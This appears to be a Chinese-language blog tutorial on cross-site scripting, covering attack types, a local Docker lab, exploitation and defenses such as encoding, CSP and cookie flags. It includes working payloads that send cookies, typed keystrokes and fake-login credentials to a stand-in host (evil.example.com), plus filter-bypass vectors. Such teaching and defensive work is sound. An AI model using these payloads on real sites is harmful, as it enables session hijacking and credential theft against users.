资讯动态

XSS跨站脚本攻击全解析:原理、利用与防御实战

发布时间:2026/10/19 8:09:06 来源:尧图企业网站定制
说实话干Web安全这行的人谁没被XSS教育过一两回。跨站脚本攻击Cross-Site Scripting听起来像个高深的外星词实际上它就是一段JavaScript代码被塞进你原本信任的页面里然后悄悄执行。2025年再看这张攻击面它非但没有过气反而因为前后端分离、微前端、AI生成内容这些新玩法变得更容易被忽略。这篇文章我按“原理—分类—实操—利用—防御—排查”的顺序从头到尾给你捋一遍。不管你是刚入门的新手还是被漏洞报告逼疯的开发者应该都能从中找到点有用的东西。1. XSS到底是个什么东西先建立一张不会垮的知识框架1.1 一句话本质与攻击三角XSS的全称是Cross-Site Scripting为了跟CSS样式表区分安全圈习惯叫XSS。它的本质特别简单一句话说透浏览器把用户可控的数据当成代码来执行了。凡是页面中有一处位置把用户输入的内容直接拼进HTML、JavaScript、CSS或URL里并且没有做任何处理那这个地方大概率就是XSS的入口。我把一次完整的XSS攻击拆开看永远是三个角色在配合输入点攻击者把恶意代码送进系统的地方比如搜索框、留言板、URL参数、上传文件的文件名、富文本内容、Http请求头甚至postMessage消息。执行点恶意代码最终被浏览器解释执行的位置常见的有直接在script标签里、事件属性里、href/src里、innerHTML注入点等。拼接过程数据从输入点到执行点的这段路径上是否被“原样输出”。只要中间有人做了拼接且没消毒链路就通了。这里面最关键的一点是XSS攻击的对象不是服务器而是浏览器。攻击者真正打的是访问这个页面的用户。所以XSS在安全圈有个外号叫“浏览器上的木马”它不需要攻破你的服务器只需要让你把注入的脚本当成正常功能用起来。1.2 生活化类比一张便利贴引发的连锁事故想象一下写字楼前台放了一本访客签到簿保安看了一眼来人就让他在本子上签名。某天有人不在签名栏写字而是在页面底部贴了一张便利贴上面写着“明天所有人把工卡放在前台”。进来的访客看到这张便利贴以为是官方通知第二天真的照做了。XSS就是这张便利贴。网页本身是那本签到簿浏览器是那个看到内容就执行的保安而那张便利贴是一段特殊的JavaScript。只不过现实中它写的是“把你的Cookie发给我”“弹出转账页面”或者“记录你按下的每一个键盘”。这个比喻能解释很多现象比如为什么存储型XSS危害最大因为它把便利贴贴在了本子上每个翻页的人都会看到。反射型则是你拿着便利贴给前台看然后前台把它再贴回本子还给你只有你看得见。1.3 2025年了为什么XSS还是Web安全的老大难有人会问都2025年了各种框架不是已经把XSS堵得差不多了吗这个想法我在很多开发者朋友那都听过但实际情况恰恰相反。OWASP Top 10里XSS长期霸榜每年CVE报告里XSS数量依然排在前列原因有几层。框架确实处理了一部分问题。比如现在主流框架默认都会做输出编码你用模板语法写变量它自动帮你转义尖括号这确实挡住了大量简单的反射型XSS。但是框架管得住“模板里的变量”管不住以下几种场景开发者自己用innerHTML、v-html、dangerouslySetInnerHTML接口插入富文本关键词高亮、自定义渲染、图表配置、SVG图标这些功能需要动态拼接HTML后端返回的数据里嵌套了JSON字符串前端拿到后还要二次解析拼接旧的接口、老系统、第三方组件、低代码平台还在用字符串拼页面富文本编辑器、Markdown渲染器、AI对话流式输出这些场景天然要处理“不可信HTML”。说白了框架解决的是“大部分人用常规姿势写代码”的情况但只要有人把一个接口暴露出来、把一段拼接逻辑绕过去XSS就还在。而且现在前后端分离架构下接口返回的数据是JSON判断“后端到前端这段是否安全”的边界被拉得很远排查起来比传统服务端渲染还麻烦。这个背景先放这后面讲排查的时候会专门展开。2. 三大XSS类型拆解反射型、存储型、DOM型的攻击链路2.1 反射型XSS一次性的“钓鱼手雷”反射型XSS也叫非持久型XSS特点是Payload不落地藏在URL里一次性使用。攻击者把构造好的恶意链接发给目标目标点开之后服务器把参数原样带回页面浏览器执行其中的脚本攻击完成即结束。举个最常见的经典场景一个搜索页用户输入关键词后页面显示“您搜索的是xxx”。如果开发者直接把关键词拼到HTML里就会这样// search.php ?php $q $_GET[q] ?? ; echo p您搜索的是 . $q . /p; ?这时候攻击者构造一个链接https://example.com/search.php?qscriptalert(1)/script受害者点开后页面直接弹出一个提示框。当然这只是证明漏洞存在真实的恶意利用不会只弹窗而是会动态加载攻击脚本。我拿这种最小用例做演示因为它最容易让新手理解攻击链路。反射型的关键特征是受害者必须点开那个链接。所以攻击者通常会做很多包装工作短链接、二维码、伪装成优惠活动页、背后的跳转逻辑。这也是为什么很多安全意识培训反复强调“不要乱点陌生链接”——从XSS的角度说每一个挂着合法域名参数的链接都可能是正在发射的鱼叉。2.2 存储型XSS一次提交后患无穷存储型XSS是三类里面危害最大的因为恶意代码被持久化存在服务器数据库中每一个访问受害页面的人都会中招。典型的场景包括评论区、留言板、个人资料、商品评价、发帖内容等。我把一个留言板的漏洞拆开给你看。后端保存了用户提交的留言内容前端展示的时候原样输出// comment.php ?php $msg $_POST[msg] ?? ; if ($msg ! ) { // 这里仅做演示真实环境会把内容存到数据库 file_put_contents(comments.txt, $msg . PHP_EOL, FILE_APPEND); } $lines file_get_contents(comments.txt); echo div . nl2br($lines) . /div; ?攻击者在留言内容里填img srcx onerrordocument.locationhttps://evil.example.com/steal?cookiedocument.cookie这条内容被保存后任何打开留言板页面的用户浏览器都会向攻击者的服务器发起请求把当前用户的Cookie带过去。整个过程完全不需要受害者主动点击某个恶意链接只要“正常访问一个正常的页面”就会中招。存储型XSS为什么这么难治因为它牵涉的环节最多输入要过滤、存储要保持原样、输出要编码、业务方可能又要求支持富文本格式这四个要求互相打架。经常是安全工程师说“必须做输出编码”产品经理说“这里必须支持加粗、图片和链接”最后大家妥协出一个富文本方案而富文本过滤恰恰是最容易出绕过的。2.3 DOM型XSS不走服务器最难发现的那一类DOM型XSS跟前两类的最大区别在于它的恶意代码根本没有经过服务器所以服务器端日志看一整天也发现不了。整个过程发生在浏览器端JavaScript读取了某个攻击者可控的输入源然后将其写进了危险的DOM操作接口里。常见输入源DOM型XSS的“入口”location.hash、location.searchdocument.referrerwindow.namepostMessage消息内容浏览器存储localStorage/sessionStorage里被外部写入的字段前端路由的参数比如Vue Router或React Router的URL参数常见危险写入接口“出口”element.innerHTML、element.outerHTMLdocument.write()eval()、new Function()jQuery的$()、.append()、.html()各类框架里的v-html、dangerouslySetInnerHTML拿一个最简单的例子比如页面从URL hash读取内容并渲染到公告栏div idnotice/div script var data location.hash.substring(1); document.getElementById(notice).innerHTML data; /script如果浏览器地址栏里是https://example.com/index.html#img srcx onerroralert(document.cookie)同样能弹窗。这种漏洞在服务端看起来就是一次普通的首页请求日志里干干净净的只有看了浏览器控制台的网络面板或者复盘前端代码才可能发现问题。这也是DOM型XSS在企业SRC漏洞报告里经常被低估原因——不是不存在是很多人根本没往这个方向查。2.4 新手快速判断遇到XSS时先看它是哪一类我收到过不少朋友发的漏洞截图第一句话就是“这里有XSS”。但排查时不能眉毛胡子一把抓先定位类型再决定从哪里入手。我的判断顺序是这样判断维度反射型存储型DOM型Payload是否落库否是长期保留否但可能存在于浏览器端是否需要诱导点击需要不需要取决于触发位置Payload出现在服务器日志会出现在访问日志会出现在数据库和页面响应中不会出现在服务器日志修复位置后端输入过滤或输出编码后端过滤存储输出编码前端JS代码逻辑修复典型场景搜索框、URL参数回显评论、留言、个人信息hash路由、window.name、postMessage前端发出请求后先看服务器响应里有没有包含Payload原样内容有那就是反射型或存储型再看刷新页面是否依然存在存在就是存储型如果打开浏览器开发者工具在网络面板里Payload根本没发出去但页面上脚本却执行了那直接锁定DOM型。这套判断路径我用了一年多基本能规避大部分误判。3. 从零实操搭建本地测试环境亲手打一遍完整攻击链3.1 环境准备三分钟跑一个允许出错的本地靶场想真正搞懂XSS一定要上手打光看文章绝对学不会。实操分两步准备一个本地漏洞环境和一个抓包工具。本地环境我推荐用Docker一条命令就能跑起来# 拉取一个PHP环境镜像作为演示环境 docker run -d -p 8080:80 --name xss-lab php:7.4-apache不熟悉Docker的同学也可以用本机装好的Nginx/ApachePHP甚至直接用Python写一个极简HTTP服务来演示DOM型。本文下面全部以PHP示例演示代码都放在容器里的/var/www/html目录下映射出来改代码就行docker cp ./vuln.php xss-lab:/var/www/html/ # 或者用 docker exec -it xss-lab bash 进容器直接创建抓包工具我用的是浏览器自带的开发者工具单纯理解XSS完全够用不需要Burp Suite那么复杂的工具。打开F12的“网络”和“控制台”两个面板就能看到Payload的传输和页面渲染报错。3.2 三步标准利用流程从构建Payload到拿到结果以反射型那个搜索页为例完整走一遍利用流程。第一步探测注入点。在搜索框输入正常内容hello提交后页面显示“您搜索的是hello”。这时候观察拼接位置它在一个p标签的文本节点里而且加引号直接拼接。我推测这里可以直接闭合标签也可以走事件触发。先试试最简单的方式在地址栏输入http://127.0.0.1:8080/search.php?qscriptalert(1)/script浏览器立刻弹窗说明存在基础的HTML注入。第二步升级Payload。弹窗只是为了证明漏洞真实利用得拿数据。我把Payload升级成读取Cookie并发送出去script var img document.createElement(img); img.src http://127.0.0.1:8081/collect?cookie encodeURIComponent(document.cookie); document.body.appendChild(img); /script浏览器执行后会自动请求我本地另一个监听端口8081的收集服务器把这个用户的Cookie带出来。这里我故意用了img标签而不是fetch因为跨域发GET请求用img最稳且不会在控制台抛大量报错降低被发现的可能。第三步查看攻击效果。在另一个终端跑一个简单的HTTP监听服务收数据php -S 127.0.0.1:8081 # 访问该服务任意路径时在终端日志里能看到携带Cookie的完整URL这时候攻击链就走通了受害者访问恶意链接→浏览器执行脚本→Cookie被发到攻击者服务器。整个过程没有任何一步是需要“攻破服务器”的纯粹是骗浏览器执行了恶意代码。存储型XSS的利用比我上面写的还简单只需要在留言框里提交含有恶意脚本的内容随后任何访问该页面的请求都会触发DOM型则要把利用链接发给受害者等对方打开包含特定hash或参数的URL后脚本在前端被触发。三种类型的链路都通了之后你对XSS的理解就从“知识点”变成“肌肉记忆”了。3.3 前端JS验证技巧和调试习惯实操中一个很常见的坑是Payload明明写对了但页面不弹窗。遇到这种情况先别急着怀疑漏洞不存在按顺序排查打开控制台看报错如果是SyntaxError多半是Payload被截断或者引号嵌套出问题调整payload的文法。先查看网页源码QCtrlU搜索你提交的Payload有没有被“吃”掉一部分。如果源码里Payload是完整的但没执行多半是被位置语义影响比如被放在了标签属性里需要改成闭合引号的结构。用debugger;或console.log代替alert。alert在某些浏览器或环境中会被拦截可以用console.log(document.domain)验证脚本执行。调试本身也是个熟能生巧的活儿。我踩过最久的一次坑是在一个Multipart上传接口的返回JSON里拼了文件名前端又用insertAdjacentHTML把文件名插进页面。那个漏洞绕了一道服务端转义、又绕了一道前端编码最后是逐层打断点才追踪到。所以实操前最好会一点断点调试设置XHR断点、DOM断点后XSS的触发过程就跟看监控回放一样清晰。4. 真实利用场景从弹窗到会话劫持XSS到底能做什么4.1 会话劫持与身份冒充先说最经典的利用盗Cookie。Cookie里往往带着会话标识拿到它就能冒充用户身份。前提是Cookie没有设置HttpOnly标志。如果开发者设了HttpOnly那document.cookie是读不到该Cookie的这条路径会被堵死。但堵住Cookie不意味着安全攻击者还有一套更隐蔽的手法借助受害者的浏览器直接向目标网站发请求以受害者的身份操作数据。比如通过XSS构造一个表单提交请求修改密码、绑定手机号、下单转账这些操作都是在线状态发起的服务器会认为是正常用户行为完全绕开了Cookie窃取的问题。我管这叫“中间人操作”而不是“中间人攻击”。攻击者不直接读取你的数据而是让你的浏览器替他执行操作。这种行为的隐蔽性非常高服务器端看到的是正常用户的操作日志。这也是为什么XSS从未被高估——它是一个深入业务内部的“遥控器”。4.2 钓鱼页面与键盘记录XSS还能动态生成一个“合法”的登录弹窗诱导用户输入账号密码。攻击代码如下script document.body.innerHTML div styleposition:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);z-index:9999; div stylemargin:20% auto;width:300px;background:#fff;padding:30px;text-align:center; h3会话已过期请重新登录/h3 input idu placeholder用户名brbr input idp typepassword placeholder密码brbr button onclickfetch(\https://evil.example.com/get?id\document.getElementById(\u\).value\pass\document.getElementById(\p\).value)登录/button /div/div; /script受害者面对的是原本正常、域名合法、页面样式一致的网站几乎很难辨别出这是一个攻击者临时渲染出的假登录框。这一招在针对内部系统的定向攻击里非常常见因为员工对内部系统的信任感更强。键盘记录同样不复杂。监听页面上的keypress事件把用户输入的内容实时传到攻击者服务器document.addEventListener(keypress, function (e) { new Image().src https://evil.example.com/key?c e.key; });配合全局监听用户在这个页面上填写的任何内容——报销单、邮件、搜索词——都会被记录。4.3 XSS蠕虫在用户之间复制传染存储型XSS如果配合用户之间操作的接口还可能形成XSS蠕虫。脚本通过当前用户身份自动发布包含同样Payload的留言其他用户看到留言后脚本继续借他们的身份传播形成链式扩散。历史上社交平台出现过几次比较轰动的XSS蠕虫事件传播速度极快影响范围以指数级扩大。现代应用虽然对这类接口会有CSRF Token、接口幂等性设计等加固但真正影响蠕虫传播的往往不是安全机制而是产品功能本身。任何一个“用户A创建的内容能被用户B看到并交互”的功能都有成为蠕虫传播温床的可能。写代码的时候多问自己一句如果这段内容里藏着自动操作指令会发生什么5. 防御体系与实践纵深防御才是正确姿势5.1 输入侧白名单优先不只是过滤尖括号防御XSS第一直觉是“过滤用户输入”但很多人做到最后发现防不住就是因为策略错了。过滤不能只做黑名单——把script、onerror、javascript:这些词替换掉——而是要做白名单校验。对于结构化字段比如年龄、手机号、订单号直接限制类型和格式压根不用管什么XSS值不在白名单范围内就直接拒绝。对于需要保留HTML语义的字段比如富文本编辑器就必须走白名单标签和属性列表只给b、i、a、img这类标签放行并在a、img的href/src上做协议校验。真实项目中我见过不少用黑名单过滤后被绕过的案例大小写混写ScRiPt、用img srcx onerroralert(1)、用#106;avascript:编码绕过各种花样。黑名单永远在追赶攻击者的想象力而白名单从一开始就限定了合法范围可用性上也更稳定。如果业务对输入无结构要求那根本不该放行任何HTML。5.2 输出侧编码发生在正确的上下文里过滤只是第一道防线真正的兜底在输出编码。记住一个核心原则一切动态插入页面的数据都要按照插入位置的语法环境做对应编码。插入在HTML标签内容里做HTML实体编码插入在script标签里的字符串变量做JavaScript转义插入在CSS里做CSS转义插入在URL属性里做URL编码。常见后端语言都自带编码函数关键是别用错地方。PHP里// 针对HTML上下文的输出编码用 ENT_QUOTES 处理单双引号 echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, UTF-8); // 针对JavaScript上下文的输出编码需要额外处理反斜杠和换行 function js_encode($input) { return json_encode((string)$input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); }前端框架自带的模板插值本身也是编码的{{ variable }}和${variable}在Vue/React里默认都把值当纯文本渲染这就是框架能挡住大部分XSS的原因。但一旦用v-html、dangerouslySetInnerHTML这种原样注入接口就相当于亲手关闭了框架的防护这时候必须对内容做完整的白名单清洗或调用可信的净化库并且把渲染内容的来源限定为可信后台配置而不是用户输入。5.3 浏览器侧防线CSP、HttpOnly、SameSite三件套浏览器侧有两条我每次写安全方案都会带的配置CSP内容安全策略和Cookie安全属性。CSP的核心是告诉浏览器“这个页面只能加载哪些来源的资源”。一段常用配置如下Content-Security-Policy: default-src self; script-src self https://cdn.example.net; img-src self data:; style-src self unsafe-inline; object-src none; base-uri none; report-uri /csp-report;default-src self所有资源默认只允许从同源加载。script-src self https://cdn.example.netJS只允许本域和指定CDN攻击者注入的内联脚本和外域脚本直接被拦。object-src none禁止Flash、Java等插件加载堵死一类老式绕过。base-uri none防止攻击者通过篡改页面的base标签把相对URL引导到自己的服务器。report-uri把违反CSP规则的请求发给指定地址相当于给前端装了个“违章摄像头”。CSP对大多数XSS有很强的缓解作用但它不是万能的如果目标站点本身允许unsafe-inline或者某个回源域名被攻击者控制CSP就形同虚设。所以CSP要结合业务实际做成“默认严格、必要时放宽”的形式而不是网上拷一份大而全的配置贴上去。Cookie安全属性方面核心是三件套HttpOnly禁止JavaScript读取Cookie掉掉直接盗取Cookie这条路。SecureCookie只在HTTPS连接中传输防止明文网络抓包。SameSite通过限制跨站请求携带Cookie来削弱CSRF风险间接提升XSS利用的成本尤其是别人跨站发起请求时带不上关键会话。在没有特殊业务需求时优先把关键会话Cookie都打上HttpOnly; Secure; SameSiteLax这是成本极低的加固。5.4 开发流程里的安全习惯把XSS防线前移到编码阶段防御不能靠最后安全测试的“期末考”更靠平时的“作业正确率”。我建议每个团队在开发规范里至少建立四条硬规矩模板渲染禁止用字符串拼接HTML必须走框架自带模板语法所有v-html、innerHTML、dangerouslySetInnerHTML、document.write的用法全部提交安全评审说明业务理由前端从接口拿到数据后在渲染到HTML前先做一次编码处理不要把后端返回的JSON直接塞进HTML定期检查第三方组件的安全更新特别是富文本编辑器、Markdown解析器这类处理HTML的组件。这些规矩单独拎出来每一条都不复杂但凡在一条上偷懒后面可能就要用一次应急预案来还。6. 常见问题与排查技巧实录6.1 自查速查表日常排查XSS问题时我习惯把问题归类到下面这张表建议你截图或者收藏下来症状可能原因排查方向弹窗时而有效、时而无效多段HTML解析规则不同浏览器上下文差异检查Payload所处位置是在标签内、属性内还是text节点只有本地能弹部署后无效线上环境开启CSP或设置了过滤器查看响应头Content-Security-Policy单独调试输入被转义为lt;scriptgt;开发者做了HTML实体编码检查输出上下文是否需要JavaScript编码双编码路径写入的数据带有反斜杠某些框架自动反转义或转义冲突分析过滤链路上的编码次数和顺序找不到输入点漏洞可能藏在第三方SDK、后台模板配置抓去全量请求并逐个分析拼接位置检查JSONP接口Payload在源码里被截断服务端对长度、字符做了限制查看代码中是否有substr或正则截断逻辑6.2 复盘一次典型DOM型XSS排障过程有一回我接到一个内部系统的反馈用户反馈在个人中心改昵称后打开自己的主页会弹出一个奇怪的弹窗。看服务器日志完全正常没有任何可疑请求看数据库里的昵称也是正常的“张三”没有恶意标签。排查方向转向前端。我用浏览器开发者工具打开主页在控制台看到Uncaught TypeError再往上看发现页面代码里有这样一段// 读取URL参数渲染到“分享卡片”区域 var shareContent getQueryString(share); document.getElementById(shareCard).innerHTML shareContent;仔细分析后恍然大悟系统生成分享卡片时把当前用户昵称传进了URL参数里接收方如果带了innerHTML渲染就产生了一个XSS链。数据库里昵称是干净的服务器返回的页面也没有Payload但受害者浏览器从URL里取出来的昵称已经被攻击者提前替换成了恶意脚本。这类问题在传统服务端日志分析视角下是无解的只有具备“浏览器端的输入输出”视角才能发现。从那以后我排查每个XSS报告都会多问一句“有没有哪条数据不经过服务器直接在前端流转”这个习惯帮我找到了不少隐藏很深的问题。6.3 为什么“修复了输入过滤”依然被绕过一场和攻击者的博弈我再多说一个常见误区。很多开发者的响应很积极把用户输入的script过滤掉了、把alert关键字替换掉了就认为修复完成。但攻击者的思路是找滤网的缝隙而不是去撞滤网。我见过最多的绕过思路有这几种用HTML实体编码绕过比如#60;script#62;有些框架在某个层面多解码一次就被绕过了利用svg onloadalert(1)、details open ontogglealert(1)等不需script标签的向量B端标签白名单做得不全就翻车针对href属性发起的javascript:协议注入比如a hrefjavascript:alert(1)点我/a如果只过滤了script标签是拦不住的双编码绕过字符先进过一层编码存储再在另一层解码渲染两层逻辑叠在一起产生了歧义利用宽字节、全角字符、Unicode空白符等字符集差异让过滤规则认不出Payload。所以我反复强调“输出编码 白名单”几乎是最好的组合思路不是让你选一个。安全工程从来不是靠一次修复打天下而是靠多道互不信任的防线层层设防。每一道防线独立失败时不至于让整个系统裸奔这才是纵深防御的意义。写在最后把XSS当成老朋友而不是洪水猛兽我做了这么多年安全最大的感受是XSS不是那种靠背几条Payload就能吃透的漏洞它比任何纯漏洞都更像一个“业务问题”。同一个输入在不同的拼接位置、不同的浏览器解析环境、不同的业务逻辑下结果可能完全不同。真正理解它必须动手去构造、去观察、去调试被它折腾过几轮才会真正形成那种“这个数据流到底安不安全”的本能直觉。最后再分享一个我实际项目里特别受用的习惯每写一个涉及用户输入的接口我都会随手在浏览器地址栏试一次s标签。如果页面多了一条删除线说明拼接路径是通的XSS风险已经出现接下来要做的事不是去想“会不会被利用”而是立刻把输出处的编码补上。这种“随手一测”的小动作帮我挡掉过至少三回生产事故。如果你在实战中还遇到过什么脑洞大开的绕过思路或者发现某个框架的坑非常欢迎在评论区一起讨论。安全这条路多交流一次就少踩一次坑。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑